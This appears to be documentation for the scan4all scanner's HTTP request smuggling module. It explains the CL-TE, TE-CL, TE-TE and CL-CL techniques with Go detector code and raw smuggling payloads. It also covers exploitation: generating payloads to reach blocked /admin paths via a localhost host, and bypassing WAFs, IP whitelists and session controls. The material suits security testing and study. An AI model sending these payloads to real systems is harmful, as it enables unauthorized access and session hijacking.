scan4all includes sophisticated HTTP request smuggling detection capabilities to identify desynchronization vulnerabilities between front-end and back-end HTTP servers. The tool supports multiple smuggling techniques and can be used to bypass security controls.
Overview
HTTP request smuggling exploits discrepancies in how front-end and back-end servers parse HTTP request boundaries, typically using conflicting Content-Length and Transfer-Encoding headers.
What is HTTP Request Smuggling? When a front-end server forwards requests to a back-end server, and they disagree on where one request ends and another begins, an attacker can “smuggle” a request that the front-end doesn’t see but the back-end processes.
Supported Techniques
scan4all implements detection for five major smuggling variants:
CL-TE Front-end uses Content-Length, back-end uses Transfer-Encoding
TE-CL Front-end uses Transfer-Encoding, back-end uses Content-Length
TE-TE Both use Transfer-Encoding but handle obfuscation differently
CL-CL Conflicting Content-Length headers
Error-Based Triggers errors to detect processing differences
How It Works
Detection Process
Landing Page Detection
Smuggling checks are triggered when:
A login page is discovered
A new web context is detected
An admin panel is found
Payload Generation
Generate smuggling payloads specific to the target URL: func DoCheckSmuggling ( szUrl string , szBody string ) {
for _ , x := range payload {
// Test CL-TE, TE-CL, TE-TE, CL-CL, Err variants
}
}
Request Transmission
Send crafted requests with conflicting headers:
Multiple times if needed (for timing attacks)
Via raw TCP socket for precise control
Response Analysis
Analyze responses for smuggling indicators:
“Unrecognized method GPOST”
Multiple HTTP responses in one
404 errors for smuggled requests
Response timing anomalies
CL-TE Smuggling
Technique
Front-end (Content-Length) → Reads 6 bytes after headers
Back-end (Transfer-Encoding) → Processes chunks, sees 0\r\n\r\nG as next request
Payload Examples
Basic CL-TE
TE Header Obfuscation
Admin Access
POST / HTTP / 1.1
Host : vulnerable.com
Connection : keep-alive
Content-Type : application/x-www-form-urlencoded
Content-Length : 6
Transfer-Encoding : chunked
0
G
Detection Logic
func ( r * ClTe ) CheckResponse ( body string , payload string ) bool {
if payload == ClTePayload [ 2 ] {
a := strings . Split ( body , "HTTP/1.1 404" )
// Look for 404 response in smuggled request
if 2 <= len ( a ) && ( - 1 < strings . Index ( a [ 0 ], "HTTP/1.1 404" ) ||
- 1 < strings . Index ( a [ 0 ], "HTTP/1.1 200" )) {
return true
}
} else {
// Look for "Unrecognized method GPOST"
return - 1 < strings . Index ( "Unrecognized method GPOST" , body )
}
return false
}
CL-TE payloads are sent twice to detect timing-based smuggling.
TE-CL Smuggling
Technique
Front-end (Transfer-Encoding) → Processes chunks, forwards complete request
Back-end (Content-Length) → Reads fixed bytes, treats remainder as next request
Payload Example
POST / HTTP / 1.1
Host : vulnerable.com
Content-Type : application/x-www-form-urlencoded
Connection : Keep-Alive
Content-length : 4
Transfer-Encoding : chunked
5c
GPOST / HTTP/1.1
Content-Type : application/x-www-form-urlencoded
Content-Length : 15
x=1
0
Detection Logic
func ( r * TeCl ) CheckResponse ( body string , payload string ) bool {
// Method 1: Unrecognized method
if "" != body && ( - 1 < strings . Index ( "Unrecognized method GPOST" , body )) {
log . Println ( "Unrecognized method GPOST" )
return true
}
// Method 2: Multiple HTTP responses
if 3 < len ( strings . Split ( body , "HTTP/1.1" )) {
log . Println ( "found 3 HTTP/1.1" )
return true
}
return false
}
Dynamic Payload Generation
TE-CL includes dynamic payload generation for accessing restricted paths:
func ( r * TeCl ) GetPayloads ( t * socket . CheckTarget ) * [] string {
TeClPayload = append ( TeClPayload ,
GenerateHttpSmugglingPay ( t . UrlRaw , t . UrlPath , "localhost" ))
return & TeClPayload
}
TE-TE Smuggling
Technique
Both servers use Transfer-Encoding, but one can be tricked into ignoring it through obfuscation:
Transfer-Encoding : chunked
Transfer-Encoding : cow
Transfer-Encoding : chunked
Transfer-Encoding : chunked-false
Transfer-encoding : identity
Implementation
type TeTe struct {
Base
}
func NewTETE () * TeTe {
x := & TeTe {}
x . Type = "TE-TE"
x . Payload = TeTePayload
return x
}
CL-CL Smuggling
Technique
Multiple Content-Length headers with different values:
POST / HTTP / 1.1
Host : vulnerable.com
Content-Length : 10
Content-Length : 5
abcdefghij
Servers may:
Use the first header
Use the last header
Reject the request
Use the largest/smallest value
type ClCl struct {
Base
}
func NewClCl () * ClCl {
x := & ClCl {}
x . Type = "CL-CL"
x . Payload = ClClPayload
return x
}
Error-Based Detection
Technique
Trigger processing errors to identify parsing differences:
type Err struct {
Base
}
func NewErr () * Err {
x := & Err {}
x . Type = "BaseErr"
x . Payload = ErrPayload
return x
}
Looks for error messages indicating desynchronization.
Smuggling Interface
All smuggling variants implement a common interface:
type Smuggling interface {
CheckResponse ( body string , payload string ) bool
GetPayloads ( t * socket . CheckTarget ) * [] string
GetTimes () int
GetVulType () string
}
var payload = [] Smuggling {
NewClCl (),
NewCLTE (),
NewCLTE2 (),
NewTECL (),
NewTETE (),
NewErr (),
}
Exploitation Features
Accessing Restricted Resources
Generate smuggling payloads to access admin panels:
func GenerateHttpSmugglingPay ( szUrl , smugglinUrlPath , secHost string ) string {
// Crafts payload to smuggle request to smugglinUrlPath
// Example: Access /console via smuggling
}
Usage:
payload := GenerateHttpSmugglingPay (
"http://example.com" ,
"/admin" , // Blocked path
"localhost" // Bypass host-based restrictions
)
Bypassing Security Controls
WAF Bypass Smuggle requests past web application firewalls that only inspect front-end traffic
Access Control Reach admin interfaces blocked by front-end but accessible to back-end
IP Whitelisting Bypass IP-based restrictions by appearing to come from localhost
Authentication Smuggle authenticated requests using other users’ sessions
Configuration
Cookie Support
Smuggling detection respects custom cookies:
Cookie = 'PHPSESSID=abc123' scan4all -host example.com -v
Cookies are automatically included in smuggling payloads:
func GetCustomHeadersRaw () string {
// Returns cookie headers for smuggling payloads
}
Concurrent Execution
Smuggling checks run concurrently:
func DoCheckSmuggling ( szUrl string , szBody string ) {
for _ , x := range payload {
util . Wg . Add ( 1 )
go func ( j Smuggling , szUrl string ) {
defer util . Wg . Done ()
// Check smuggling variant
}( x , szUrl )
}
}
Detection Triggers
Smuggling checks are automatically triggered:
Login Pages
Admin Panels
Web Contexts
# When login page detected
- technologies : [ "loginpage" ]
- action : Run smuggling checks
Frequency Control: Smuggling checks are performed:
Once per landing page URL
Once per unique web context
NOT on every discovered path (too noisy)
Output and Reporting
{
"vulType" : "CL-TE" ,
"url" : "https://example.com/login" ,
"payload" : "POST /login HTTP/1.1 \r\n Host: example.com..." ,
"evidence" : "Unrecognized method GPOST" ,
"timestamp" : "2026-03-05T10:30:00Z"
}
Console Output
[HTTP Smuggling] Found vulnerability
Type: CL-TE
URL: https://example.com/login
Payload:
POST /login HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
Evidence: Unrecognized method GPOST detected in response
Elasticsearch Integration
util . SendAnyData ( & util . SimpleVulResult {
Url : r . UrlPath ,
VulKind : string ( util . Scan4all ),
VulType : ( * r1 ). GetVulType (),
Payload : x ,
}, util . Scan4all )
Query results:
curl "http://127.0.0.1:9200/smuggling_index/_search?q=vulType:CL-TE"
Advanced Techniques
Custom Payload Crafting
// Craft custom smuggling payload
payload := fmt . Sprintf ( `POST %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded %s
Content-Length: %d
Transfer-Encoding: chunked
0
GET %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
0
` ,
targetPath , host , customHeaders , contentLength ,
smugglePath , smuggleHost )
Multi-Step Exploitation
Detect Smuggling
scan4all -host https://target.com -v
Identify Target Path
Find restricted resource:
/admin
/console
/internal
Craft Exploitation Payload
payload := GenerateHttpSmugglingPay (
"https://target.com" ,
"/admin" ,
"localhost"
)
Execute Attack
Send crafted payload via raw socket
References and Resources
scan4all’s HTTP smuggling implementation is based on:
Example Workflows
Full Scan
Authenticated Scan
Target Specific Path
# Complete scan including smuggling detection
scan4all -host https://example.com -v
Troubleshooting
No Smuggling Detected
Verify Architecture
Smuggling requires front-end/back-end architecture:
Load balancer → Application server
CDN → Origin server
WAF → Web server
Check Response Processing
Enable verbose logging: scan4all -host example.com -v -debug
Test Manually
Use Burp Suite or custom scripts to verify findings
False Positives
Some HTTP/2 servers may trigger false positives
Test with HTTP/1.1 explicitly
Verify with manual exploitation
Security Considerations
Legal and Ethical Use Only HTTP request smuggling can:
Compromise user sessions
Bypass security controls
Poison web caches
Execute unauthorized actions
Only test on systems you own or have explicit permission to test.
Potential Impact
Session Hijacking Capture other users’ requests and steal session tokens
Access Control Bypass Access admin interfaces and restricted resources
Cache Poisoning Poison CDN/cache with malicious responses
Request Routing Route requests to unintended back-end systems
Best Practices
Test in Safe Environment
Use staging/test environments when possible
Document Findings
Record:
Vulnerable URL
Smuggling variant detected
Payload used
Response received
Exploitation potential
Report Responsibly
Follow responsible disclosure:
Notify vendor/owner
Provide reproduction steps
Allow reasonable time for fix
Verify Remediation
After fixes:
Re-test to confirm patch
Test related endpoints
Document final state